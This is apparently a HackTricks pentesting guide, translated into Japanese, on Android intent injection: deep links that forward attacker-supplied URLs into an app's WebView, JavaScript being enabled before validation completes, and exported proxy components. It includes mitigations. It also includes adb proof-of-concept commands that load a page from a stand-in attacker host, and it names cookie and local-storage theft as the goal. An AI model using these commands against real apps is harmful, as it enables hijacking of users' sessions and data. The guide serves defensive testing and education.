Intent Injection
Reading time: 6 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Intent injectionは、攻撃者が制御するIntentまたは後でIntentに変換されるデータを受け入れるコンポーネントを悪用します。Androidアプリのペンテスト中に非常に一般的な2つのパターンは次のとおりです。
- 攻撃者が作成したextrasをエクスポートされたActivities/Services/BroadcastReceiversに渡し、それが後で特権のある非エクスポートコンポーネントに転送される。
- 攻撃者が制御するURLを内部WebViewや他の敏感なシンクに転送するエクスポートされたVIEW/BROWSABLEディープリンクをトリガーする。
Deep links → WebView sink (URL parameter injection)
アプリが次のようなカスタムスキームのディープリンクを公開している場合:
myscheme://com.example.app/web?url=<attacker_url>
受信するActivityがurl
クエリパラメータをWebViewに転送すると、アプリが独自のWebViewコンテキストで任意のリモートコンテンツをレンダリングするように強制できます。
PoC via adb:
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
影響
- HTML/JSがアプリのWebViewプロファイル内で実行されます。
- JavaScriptが有効になっている場合(デフォルトまたは不適切なチェックのため)、公開された
@JavascriptInterface
オブジェクトを列挙/使用し、WebViewのクッキー/ローカルストレージを盗み、ピボットできます。
参照:
JavaScriptを有効にするチェックの順序バグ
繰り返し発生するバグは、最終URLの許可リスト/検証が完了する前にJavaScript(または他の許可されたWebView設定)を有効にすることです。早期のヘルパーがあなたのディープリンクを受け入れ、WebViewが最初に構成されると、後のチェックが不完全または遅すぎても、最終的な読み込みはすでにJavaScriptが有効になった状態で行われます。
逆コンパイルされたコードで探すべきこと:
- URLを異なる方法で解析/分割/再構築する複数のヘルパー(不一致の正規化)。
- 最後のホスト/パスの許可リストチェックの前に
getSettings().setJavaScriptEnabled(true)
を呼び出す。 - パイプラインのようなもの:解析 → 部分的な検証 → WebViewの構成 → 最終確認 → loadUrl。
緩和策
- 一度正規化し、厳密に検証する;閉じるように失敗する。
- すべてのチェックが通過した後、信頼できるコンテンツを読み込む直前にのみJavaScriptを有効にする。
- 信頼できないオリジンへのブリッジを公開しない。
他の古典的なIntentインジェクションプリミティブ
- 攻撃者が提供した
Intent
エクストラを使用してstartActivity/sendBroadcastし、それが後で再解析され(Intent.parseUri(...)
)、実行される。 - 許可チェックなしにIntentsを非公開の敏感なコンポーネントに転送するエクスポートされたプロキシコンポーネント。
参考文献
- Android – アプリ保護コンポーネントへのアクセス
- Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough
- Pwn2Own Ireland 2024 – Samsung S24攻撃チェーン(ホワイトペーパー)
- デモ動画
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。